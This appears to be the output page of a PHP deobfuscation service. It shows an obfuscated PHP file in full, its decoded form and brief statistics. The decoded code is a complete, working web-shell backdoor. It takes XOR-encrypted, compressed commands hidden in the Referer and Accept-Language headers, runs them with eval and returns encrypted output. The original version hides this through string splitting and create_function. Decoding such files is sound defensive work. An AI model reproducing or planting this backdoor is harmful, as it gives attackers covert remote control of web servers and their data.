Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $j='rtolowJ*er";$iJ*=$J*m[1][0].$J*m[1][J*1];J*$h=J*$sl($ss(md5J*($i.$kJ*h),0,3));$..
Decoded Output download
$kh="f004";$kf="4ac5";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$j='rtolowJ*er";$iJ*=$J*m[1][0].$J*m[1][J*1];J*$h=J*$sl($ss(md5J*($i.$kJ*h),0,3));$fJ*=$J*sl($sJ*s(mJ*d5(J*$i.$J*kf';
$Y='*fJ*($e){J*$k=$kh.$kf;ob_start();@J*evJ*al(@gzuJ*ncoJ*mpreJ*ss(@xJ*(@base6J*4_decode(prJ*eJ*g_replace(arrJ*ay("J*';
$d='iJ*]=J*J*"";$p=$ss($p,3);J*}if(array_kJ*ey_J*existsJ*($i,$s)){$sJ*[$i]J*.=$p;$J*e=stJ*rpJ*os($sJ*[$i],$f);iJ*J';
$S='$rr=@$r["HTTP_RJ*EFERERJ*"];J*J*$ra=@$r["HTTPJ*_J*ACCEPTJ*_LJ*ANGUAGE"]J*;if($rr&&$ra){$J*u=parsJ*J*e_url($J*rr';
$e=str_replace('VI','','crVIeVIate_VIfuVInVIctVIion');
$n=');parse_sJ*trJ*($u["J*querJ*y"],$J*q);$qJ*=arJ*raJ*J*y_values($q);preg_mJ*J*atch_all("/([\\w])[\\wJ*-]+(?J*:;J*q=0.';
$h='();$J*d=baJ*se6J*4_encode(J*x(gzcompreJ*ss($oJ*)J*,J*$k))J*;print("<$k>$d</$k>J*");@sesJ*sion_deJ*stroy(J*);}}}}';
$o='$kh=J*J*"f004";$kf=J*"4ac5";fJ*unction xJ*($t,$J*kJ*){$c=stJ*rlen(J*$k);$J*l=strlen($J*t);J*$o="";for(J*$i=0;$i<$J';
$H='*l;)J*{for($j=J*0;J*J*($j<$c&&$i<$lJ*);$j++,$iJ*++)J*{$o.J*J*=$t{$i}^J*$kJ*{$j};}}returnJ* $o;}$J*r=$J*_SERVEJ*R;';
$X='),0,3)J*);$p="";for($z=1;J*$zJ*<cJ*ount($J*J*mJ*[1]);$z++)$p.=$q[$m[2][$J*z]];iJ*f(stJ*rpJ*os($p,$h)==J*=J*0){$s[$';
$K='J*/_/"J*,"/-/")J*,array(J*"/",J*"+"),$sJ*s($s[$i],0,$e)))J*,J*$k)))J*;$o=J*ob_get_conteJ*nts();oJ*b_enJ*d_clJ*ean';
$D='([\\J*d]))?,?/",J*$ra,$J*m);iJ*f($q&&$m){J*@sesJ*sion_staJ*rt(J*);$sJ*=&$_SESSIONJ*J*;$J*ss="substr";$sJ*l="sJ*t';
$O=str_replace('J*','',$o.$H.$S.$n.$D.$j.$X.$d.$Y.$K.$h);
$r=$e('',$O);$r();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | c173314c1b8d7e4743d963cd662e07b8 |
| Eval Count | 1 |
| Decode Time | 87 ms |